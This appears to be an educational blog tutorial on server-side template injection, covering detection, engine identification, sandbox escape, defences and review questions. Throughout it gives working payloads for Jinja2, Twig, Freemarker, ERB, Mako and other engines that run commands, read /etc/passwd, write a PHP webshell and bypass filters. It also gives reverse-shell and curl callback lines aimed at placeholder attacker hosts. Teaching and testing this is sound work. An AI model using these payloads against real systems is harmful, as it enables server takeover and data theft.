On this page
apsyleg1 min read
#ssti #template-injection #rce #sandbox-escape #web-security

Server-Side Template Injection (SSTI)

1. What is SSTI

SSTI is a vulnerability where user input ends up inside a template and the template engine interprets it as code, not data.

Attacker → input: {{7*7}} → Template engine → interprets as expression
                                               ↓
                                             49 in response
                                               ↓
                                    sandbox escape → RCE

The key point: the template engine evaluates expressions, calls methods, traverses objects — an attacker leverages this power to execute code on the server.

Safe vs Vulnerable

# SAFE — input is passed as data
template = "Hello, {{ username }}!"
render(template, username=user_input)
# user_input = "{{7*7}}" → rendered literally as "{{7*7}}"

# VULNERABLE — input is inserted into the template itself
template = "Hello, " + user_input + "!"
render(template)
# user_input = "{{7*7}}" → engine evaluates → "Hello, 49!"

The difference: data into template (safe) vs input AS template (SSTI).


2. SSTI vs XSS — the fundamental difference

XSSSSTI
Where it executesIn the browser (client)On the server
LanguageJavaScriptPython, PHP, Java, Ruby...
AccessDOM, cookies, localStorageFiles, OS, DB, network
Maximum impactSession hijacking, phishingRCE — full server control
SeverityMedium-HighHigh-Critical

They may look similar on the surface (input reflected on the page), but SSTI is an order of magnitude more dangerous.


3. Template engines: who's who

Major engines by language

LanguageEngineSyntaxDanger level
PythonJinja2{{ }} / {% %}High — MRO chains
PythonMako${ } / <% %>Very high — direct Python
PHPTwig{{ }} / {% %}High — filters, _self
PHPSmarty{ }High — {php} tag (old versions)
JavaFreemarker${ } / <# >Very high — Execute, ObjectConstructor
JavaVelocity$var / #set()High — reflection
JavaThymeleaf${ } in attributesHigh — SpEL injections
JavaPebble{{ }} / {% %}High — reflection
RubyERB<%= %>Very high — direct Ruby
JS/NodePug (Jade)indentationHigh
JS/NodeHandlebars{{ }}Low — limited logic
JS/NodeEJS<%= %>High — direct JS
.NETRazor@( ) / @{ }Medium

Logic-less vs Logic-full

  • Logic-less (Mustache, Handlebars) — minimal logic, SSTI unlikely
  • Logic-full (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — loops, method calls, object access → attack surface

4. Detecting SSTI

Step 1: Find reflection points

Where user input can end up in a template:

Obvious:

  • Displaying username, email, profile
  • Search bar with reflection: "Results for: X"
  • Comments, reviews, messages
  • Template customization (CMS, email campaigns, builders)

Less obvious:

  • Error pages: "Page X not found" (404)
  • Error messages: "Invalid parameter: X"
  • PDF/email generation — data rendered through a template
  • Message previews
  • URL parameters: ?name=, ?message=, ?greeting=, ?template=
  • HTTP headers (rare): Host, Referer injected into a template

Step 2: Distinguish SSTI from plain reflection

Inject a math expression in template engine syntax:

Input: {{7*7}}
If "49" in response → engine evaluated it → SSTI
If "{{7*7}}" in response → plain reflection → not SSTI

But {{7*7}} is not the only syntax! Try different ones:

{{7*7}}          — Jinja2, Twig, Handlebars
${7*7}           — Freemarker, Mako, Thymeleaf
#{7*7}           — Thymeleaf (Spring), Ruby
<%= 7*7 %>       — ERB, EJS
{7*7}            — Smarty
#set($x=7*7)$x  — Velocity

Polyglot payload

A universal detector covering most engines:

${{<%[%'"}}%\

Why it works:

  • ${{ — triggers Freemarker/Mako (${...}) and Jinja2/Twig ({{...}})
  • <% — ERB/EJS/JSP
  • [% — Perl Template Toolkit
  • '" — causes a parser error on unclosed strings
  • }}%\ — closing constructs for different engines

Goal: trigger a parser error confirming a template engine is present. If the server returns 500 with a stack trace — there's a template engine.

SSTI via Host header

Some applications inject the Host header into a template for link generation (e.g., password reset emails):

Host: {{7*7}}.evil.com

If 49.evil.com shows up in the email — SSTI via Host header. Found in Django, Flask, Ruby on Rails with misconfigured setups.

Step 3: PortSwigger decision tree (engine identification)

This is the key methodology — sequential payload injection:

                        ${7*7}
                       /       \
                   49            a]${7*7}
                  /                    \
              ${7*7} works          #{7*7}
             (Java/Python)              \
                 |                    49 → Thymeleaf / Ruby
            {{7*7}}                  not 49 → unknown
           /       \
        49          error/nothing
       /                \
  {{7*'7'}}          not this syntax
  /         \          → try others
7777777      49
  |           |
Jinja2      Twig


Full tree:

1. Inject  {{7*7}}
   → 49? ─────── Yes ──→ 2. Inject {{7*'7'}}
   │                         → "7777777"? ── Yes ──→ Jinja2 (Python)
   │                         → "49"? ─────── Yes ──→ Twig (PHP)
   │
   └── No ──→ 3. Inject ${7*7}
                    → 49? ─── Yes ──→ 4. Inject ${class.getClass()}
                    │                     → response? ── Yes ──→ Java (Freemarker/Velocity)
                    │                     → error? ───── Yes ──→ Mako (Python)
                    │
                    └── No ──→ 5. Inject <%= 7*7 %>
                                    → 49? ── Yes ──→ ERB (Ruby) / EJS (Node)
                                    │
                                    └── No ──→ 6. Inject {7*7}
                                                    → 49? ── Yes ──→ Smarty (PHP)
                                                    └── No ──→ different engine

Key payload: {{7*'7'}}

Purpose: distinguishes Jinja2 from Twig (both use {{ }}):

PayloadJinja2 (Python)Twig (PHP)
{{7*'7'}}7777777 (Python: "7" * 7 = string repetition)49 (PHP: string cast to number)

5. Sandbox Escape — the key concept

What is a sandbox

The template engine intentionally restricts available functionality:

  • No import
  • No eval, exec, system
  • No filesystem access
  • Only variables passed into the template

Sandbox escape means finding a way to bypass these restrictions while staying inside the template.

Why you can't just {{ import os; os.system("id") }}

The template engine doesn't execute arbitrary language code. It only executes expressions in its own syntax. import is a Python statement, not a Jinja2 expression. The engine doesn't understand it.

But the engine can access object attributes — and that's enough to break out.


6. Per-engine exploitation

6.1 Jinja2 (Python) — MRO chains

MRO (Method Resolution Order) is the class inheritance chain in Python. Any object → its class → base object → all subclasses → dangerous classes.

Chain step by step:

# 1. Take any available object (string, number, list)
""

# 2. Get its class
"".__class__                        → <class 'str'>

# 3. Climb to the base object class via MRO
"".__class__.__mro__                → (<class 'str'>, <class 'object'>)
"".__class__.__mro__[1]             → <class 'object'>

# 4. Get ALL subclasses of object (hundreds!)
"".__class__.__mro__[1].__subclasses__()
# → [..., <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]

# 5. Find the target class by index and call it
"".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True)

Visually:

"" (string)
 └── __class__ → str
      └── __mro__ → [str, object]
           └── object
                └── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]
                     └── Popen("id", shell=True) → RCE!

Ready-made Jinja2 payloads:

File read:

{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("/etc/passwd").read() }}

RCE via subprocess.Popen:

{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True, stdout=-1).communicate() }}

RCE via config/request (if Flask objects are available):

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}

RCE via cycler (Jinja2 >= 2.11, no Flask needed):

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

How to find the right subclass index:

The index of subprocess.Popen (or another dangerous class) differs across systems. Finding it:

# Print all subclasses and find the one you need manually:
{{ "".__class__.__mro__[1].__subclasses__() }}

# Or use a loop:
{% for cls in "".__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == 'Popen' %}
    {{ loop.index0 }}
  {% endif %}
{% endfor %}

WAF / filter bypass in Jinja2

If _, ., [, ], class, etc. are filtered:

# Via attr() filter (bypasses dots and underscores)
{{ ""| attr("__class__") | attr("__mro__") }}

# Via request.args (bypasses string filtering)
{{ "".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}
# URL: ?i=INDEX&cmd=id

# Hex-encoded strings
{{ ""["\x5f\x5fclass\x5f\x5f"] }}   ← \x5f = _

# Via dict and join
{{ dict(__cla=1,ss__=1)|join }}      → "__class__"

# Via format string
{{ "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) }}

6.2 Twig (PHP)

Twig 1.x (old — direct path to RCE):

{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

Twig 2.x / 3.x:

{{ ['id'] | filter('system') }}
{{ ['cat /etc/passwd'] | filter('exec') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}

File read:

{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }}

Via map:

{{ ['id'] | map('system') | join }}
{{ ['id'] | sort('system') | join }}

6.3 Freemarker (Java)

One of the most dangerous — has built-in code execution capabilities:

Execute (direct RCE):

<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}

File read:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}

6.4 Velocity (Java)

#set($runtime = $class.inspect("java.lang.Runtime"))
#set($getRuntime = $runtime.getMethod("getRuntime", null))
#set($rt = $getRuntime.invoke(null, null))
#set($exec = $rt.exec("id"))
$exec.waitFor()

Or shorter:

#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($result = $ex.inputStream)

6.5 Smarty (PHP)

Old versions (< 3):

{php}system('id');{/php}

New versions:

{system('id')}
{Smarty_Internal_Write_File::writeFile('/var/www/html/shell.php','<?php system($_GET["cmd"]); ?>',self::clearConfig())}

6.6 ERB (Ruby)

ERB gives direct access to Ruby — virtually no sandbox:

<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
<%= File.read("/etc/passwd") %>

6.7 Mako (Python)

Same idea — direct Python:

${__import__("os").popen("id").read()}
<% import os; os.system("id") %>

6.8 Thymeleaf (Java / Spring)

Injection via Spring Expression Language (SpEL):

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Thymeleaf can be vulnerable even without ${ } — through view names:

GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

6.9 Pebble (Java / Spring)

A growing-in-popularity Java engine. Syntax resembles Twig ({{ }} / {% %}).

Detection:

{{ "test".toUpperCase() }}    → TEST

RCE:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}
{{ bytes.inputStream.text }}

Via reflection:

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

7. Blind SSTI

When the expression result isn't visible in the response:

Timing

# Jinja2 — heavy computation
{{ range(100000000)|list }}

# Or sleep via RCE
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("sleep 5", shell=True) }}

If the response is delayed → SSTI confirmed.

OOB (Out-of-Band)

# Jinja2 — DNS/HTTP callback
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl http://COLLABORATOR", shell=True) }}
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("nslookup COLLABORATOR", shell=True) }}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://COLLABORATOR/$(id)")}

# Twig
{{ ['curl http://COLLABORATOR'] | filter('system') }}

Use Burp Collaborator or interactsh to receive callbacks.


8. SSTI → RCE: the chain

Unlike XXE (file reads) or SSRF (requests), SSTI provides a direct path to RCE:

Detection          → {{7*7}} = 49
Identification     → {{7*'7'}} = 7777777 → Jinja2
Sandbox escape     → MRO chain to subprocess.Popen
RCE                → id, cat /etc/passwd, reverse shell

All in a single HTTP request. No webshell, no external server, no file writes needed.

Reverse shell via SSTI

# Jinja2
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'", shell=True) }}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")}

# ERB
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>

9. Chaining with other vulnerabilities

SSTI rarely exists in isolation. Understanding chains lets you escalate impact or discover SSTI through adjacent vulnerabilities.

ChainHow it worksImpact
SSTI → SSRFRCE via SSTI = you can make any request from codeFull internal network access, cloud metadata
SSRF → SSTISSRF to an internal service that renders templatesRCE via template injection
SSTI → LFIReading files via template (config, env) before achieving RCESecret leakage
XSS → SSTIClient-side XSS + server-side template rendering with SSRClient-side vuln escalation
SSTI + WAF bypassObfuscation via attr(), hex, dict+joinDefense bypass

More on SSRF → SSRF (Server-Side Request Forgery).


10. Testing methodology

Step 1: Identify input points

  • Find all places where input is reflected in the response
  • Pay attention to: error pages, profiles, search, email templates, PDF generation
  • Check parameters: name=, message=, template=, email=, greeting=
  • Check headers: Host, Referer (rare but happens)

Step 2: Confirm SSTI

Inject payloads into every reflection point:

# Universal detection set:
{{7*7}}
${7*7}
<%= 7*7 %>
{7*7}
#{7*7}
${{7*7}}

If you see 49 — SSTI confirmed.

If nothing — try:

{{7*7}}         → reflected as {{7*7}}? → not a template engine
                → 500 error? → template engine exists, but wrong syntax
                → empty / filtered? → could be a WAF

Step 3: Identify the engine (decision tree)

1. {{7*7}} = 49?
   ├── Yes → {{7*'7'}}
   │         ├── 7777777 → Jinja2
   │         └── 49 → Twig
   └── No → ${7*7} = 49?
              ├── Yes → Java (Freemarker/Velocity) or Mako
              └── No → <%= 7*7 %> = 49?
                         ├── Yes → ERB or EJS
                         └── No → {7*7} = 49?
                                    ├── Yes → Smarty
                                    └── No → other / no SSTI

Additional checks for narrowing down:

# Java: Freemarker vs Velocity
${"freemarker.template.utility.Execute"?new()("id")}   → works? → Freemarker
#set($x=7*7)$x                                         → works? → Velocity

# Python: Jinja2 vs Mako
${7*7}  → works + no {% %} → Mako
{{7*7}} → works → Jinja2

Step 4: Exploitation

Identified the engine → use payloads from section 6.

Escalation order:

1. Confirmation: {{7*7}} → 49
2. Read config: config, settings, env
3. Read files: /etc/passwd, .env, config.php
4. RCE: id, whoami
5. Reverse shell / further exploitation

Step 5: If it doesn't work

  • Try a different syntax — might be the wrong engine
  • Check for filtering: _, ., [, {{ — and use bypasses (section 6.1)
  • Try blind SSTI: payload executes but the result isn't displayed
    • Timing: {{ range(10000000) }} — does the page load slower?
    • OOB: {{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl attacker.com/$(id)", shell=True) }}
  • Try via headers: same payload in User-Agent, Referer

11. Defending against SSTI

The right approach — separate data from template

# SAFE — input as data
render_template("hello.html", name=user_input)
# Template: "Hello, {{ name }}!"
# user_input = "{{7*7}}" → rendered literally

# VULNERABLE — input in the template itself
template = Template("Hello, " + user_input + "!")
template.render()

General principles

  1. Never concatenate input with a template — always pass it through context/variables
  2. Sandbox — use the engine's sandbox (Jinja2 SandboxedEnvironment)
  3. Character whitelist — if users write templates, restrict allowed constructs
  4. Minimal context — don't pass objects with dangerous methods into the template
  5. WAF — filter {{, ${, <% — but this is unreliable (bypasses exist)

Jinja2 Sandbox

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
template.render()
# Blocks access to __class__, __mro__, __subclasses__, etc.

The sandbox is not absolute protection — researchers periodically find bypasses. The best approach: don't give users control over the template at all.


12. Severity assessment

SeverityConditions
CriticalRCE via sandbox escape, reverse shell, OS access
HighReading arbitrary files with secrets, access to configs, environment variables
MediumLimited data reads, blind SSTI without full RCE, internal information leakage
LowExpression evaluation only without escalation, no OS access

SSTI is almost always Critical — because sandbox escape exists for most engines, and the path from detection to RCE is usually short.


13. Tools

ToolPurpose
tplmapAutomatic SSTI detection and exploitation (supports Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB, and more)
SSTImaptplmap fork with extended engine support
Burp SuiteRequest interception, payload injection, Intruder for fuzzing
Burp Collaborator / interactshBlind SSTI confirmation
PayloadsAllTheThingsPayload repository for all engines
HackTricksSandbox escape reference for each engine

tplmap — automation

# Detection and identification
python tplmap.py -u "http://target.com/page?name=test"

# With a POST parameter
python tplmap.py -u "http://target.com/page" -d "name=test"

# Getting a shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell

# Reading a file
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "cat /etc/passwd"

14. Notable cases

Uber (2016, Bug Bounty): SSTI in Jinja2 via a profile parameter → RCE. Bounty $10,000+.

Shopify (2019, Bug Bounty): SSTI in Liquid templates → reading internal data through template engine objects.

Adobe (2020, Bug Bounty): SSTI in Freemarker → full RCE on the server via Execute.

PortSwigger Research: Numerous sandbox escape studies in Jinja2, Twig, Freemarker — each new version patches holes, but researchers find new bypasses.

Spring Framework (CVE-2022-22963): SpEL injection (analogous to SSTI in Thymeleaf) → RCE. Mass exploitation.


15. Q&A — Review questions

What is SSTI?

A vulnerability where user input ends up not in the template's data but in the template itself — and the engine interprets it as code. Input {{7*7}} becomes 49 not because the application computed it, but because the template engine processed the expression. The key distinction from safe usage: render(template, data=input) is safe, render("Hello " + input) is SSTI.

What typically causes SSTI?

Concatenating user input with the template before rendering instead of passing it through parameters/context. Typical scenarios: customizing email templates through an admin panel, dynamically assembling pages from database fragments, a "quick fix" for inserting text without adding a new parameter. The developer fails to distinguish "data for the template" from "part of the template."

What does the safe pattern look like compared to the vulnerable one?

Safe: render_template("page.html", name=user_input) — the engine substitutes the variable value, template special characters aren't interpreted. Vulnerable: render_template_string("Hello, " + user_input) — the engine can't distinguish the static template from user input, everything gets processed as a single construct. Even if the input is escaped against HTML injection — template syntax ({{, ${, <%) still executes.

What two SSTI contexts are important to distinguish?

Plaintext context: input is outside template constructs — Hello, INPUTHello, {{7*7}}Hello, 49. The payload works directly. Code context: input is already inside a template expression — Hello, {{INPUT}} → you need to "close" the current construct first: username}}<tag>. If the HTML tag appears in the response — the input broke out of the expression and is interpreted as template.

Why is SSTI often confused with XSS?

They look similar on the surface — input is reflected on the page. But XSS executes in the browser (client), while SSTI executes on the server. XSS gives access to DOM, cookies, localStorage. SSTI gives access to the filesystem, OS, network — it's a path to RCE. When initially discovering reflection, it's important to test not just <script>alert(1)</script> but also {{7*7}}, ${7*7}, <%= 7*7 %>.

Why is identifying the specific template engine critical for SSTI?

Each engine has its own syntax, available objects, restrictions, and paths to RCE. A Jinja2 payload (__class__.__mro__) won't work in Twig or Freemarker. The PortSwigger decision tree ({{7*'7'}} = 7777777 → Jinja2, = 49 → Twig) lets you identify the engine in 2-3 requests and pick the right payloads. Without identification — blind guessing that can take hours.

What's the impact of SSTI if RCE isn't achieved?

Reading template environment variables (config, settings, env — often contain secrets, API keys, DB connection strings). Reading files (in Twig: source('/etc/passwd'), in Jinja2 via __subclasses__). Internal information leakage: framework version, server paths, class names — useful for further attacks. SSTI without RCE is usually High severity due to confidential data exposure.

Why is the template engine's sandbox not absolute protection?

The sandbox restricts available operations — but researchers regularly find bypasses. Jinja2's SandboxedEnvironment blocks __class__ and __mro__, but attributes can be obtained via attr() filter, hex encoding, dict+join. Twig's SecurityPolicy restricts filters and functions — but new bypasses appear with every version. The sandbox makes exploitation harder but doesn't eliminate the root cause — input is still interpreted as template.

What's the mature answer for SSTI defense?

The main thing — never concatenate input with a template, always pass it through context/variables. If users need to write templates (CMS, email) — use logic-less engines (Mustache, Handlebars without helpers) that don't allow code execution. Sandbox is an additional layer, not the primary defense. Containerization and minimal privileges limit the blast radius if RCE occurs. The mature approach is a combination: separating data from template + logic-less engine or sandbox + container isolation.


16. Quick-review cheatsheet

SSTI = user input is interpreted by the template engine as code

Root cause:
  render("Hello, " + INPUT)   ← vulnerable (input AS template)
  render(template, name=INPUT) ← safe (input as data)

Detection:
  {{7*7}}, ${7*7}, <%= 7*7 %>, {7*7}, #{7*7}
  → see 49 → SSTI
  Polyglot: ${{<%[%'"}}%\  → 500 with trace → engine present

Identification (tree):
  {{7*'7'}} = 7777777 → Jinja2
  {{7*'7'}} = 49      → Twig
  ${7*7}              → Freemarker/Mako
  <%= 7*7 %>          → ERB/EJS
  "test".toUpperCase() → Pebble

Sandbox escape (Jinja2):
  "" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE
  Quick: {{ cycler.__init__.__globals__.os.popen('id').read() }}

Key payloads:
  Jinja2:     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
  Twig:       {{ ['id'] | filter('system') }}
  Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
  ERB:        <%= system("id") %>
  Mako:       ${__import__("os").popen("id").read()}
  Pebble:     {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

Blind SSTI:
  Timing → heavy computation / sleep
  OOB → curl/nslookup to Collaborator

Chains:
  SSTI → SSRF (requests from code)
  SSRF → SSTI (internal service with templates)
  SSTI → LFI (file reads before RCE)

Tools: tplmap, SSTImap, Burp Suite
Severity: almost always Critical (SSTI ≈ RCE)

Defense: input via variables, not via concatenation with template